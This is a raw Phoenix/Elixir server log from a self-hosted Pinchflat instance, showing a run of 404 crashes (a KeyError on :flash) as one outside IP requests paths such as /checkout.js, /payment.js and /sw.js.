Server: pinchflat.burns-family.net:80 (http) Request: GET /checkout.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21384.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51788}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21385.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfLVYGXl-yAsACL4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21384.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51788}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21384.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51788}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21385.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfLVYGXl-yAsACL4B"} ], scheme: :http, script_name: [], (truncated) 15:40:14.170 [info] GET /index.html 15:40:14.170 [debug] QUERY OK source="settings" db=0.1ms idle=169.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.171 [debug] QUERY OK source="settings" db=0.1ms idle=169.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.171 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.171 [error] #PID<0.21387.0> running PinchflatWeb.Endpoint (connection #PID<0.21386.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /index.html ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21386.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51802}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21387.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfLk6epS7ZDgACL4h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21386.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51802}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21386.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51802}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21387.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfLk6epS7ZDgACL4h"} ], scheme: :http, script_name: [], secret_k (truncated) 15:40:14.207 [info] GET /payment.js 15:40:14.208 [debug] QUERY OK source="settings" db=0.1ms idle=168.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.208 [debug] QUERY OK source="settings" db=0.0ms idle=102.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.208 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.208 [error] #PID<0.21389.0> running PinchflatWeb.Endpoint (connection #PID<0.21388.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /payment.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21388.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21389.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfLt4CFGHPqkACL5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21388.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21388.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21389.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfLt4CFGHPqkACL5B"} ], scheme: :http, script_name: [], (truncated) 15:40:14.292 [info] GET /checkout 15:40:14.292 [debug] QUERY OK source="settings" db=0.1ms idle=186.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.292 [debug] QUERY OK source="settings" db=0.0ms idle=121.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.292 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.292 [error] #PID<0.21391.0> running PinchflatWeb.Endpoint (connection #PID<0.21390.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /checkout ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21390.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51830}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21391.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMB7fW6WIWkACL5h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21390.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51830}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21390.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51830}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21391.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfMB7fW6WIWkACL5h"} ], scheme: :http, script_name: [], secret_k (truncated) 15:40:14.315 [info] GET /sw.js 15:40:14.316 [debug] QUERY OK source="settings" db=0.1ms idle=145.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.316 [debug] QUERY OK source="settings" db=0.0ms idle=108.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.316 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.316 [error] #PID<0.21393.0> running PinchflatWeb.Endpoint (connection #PID<0.21392.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sw.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 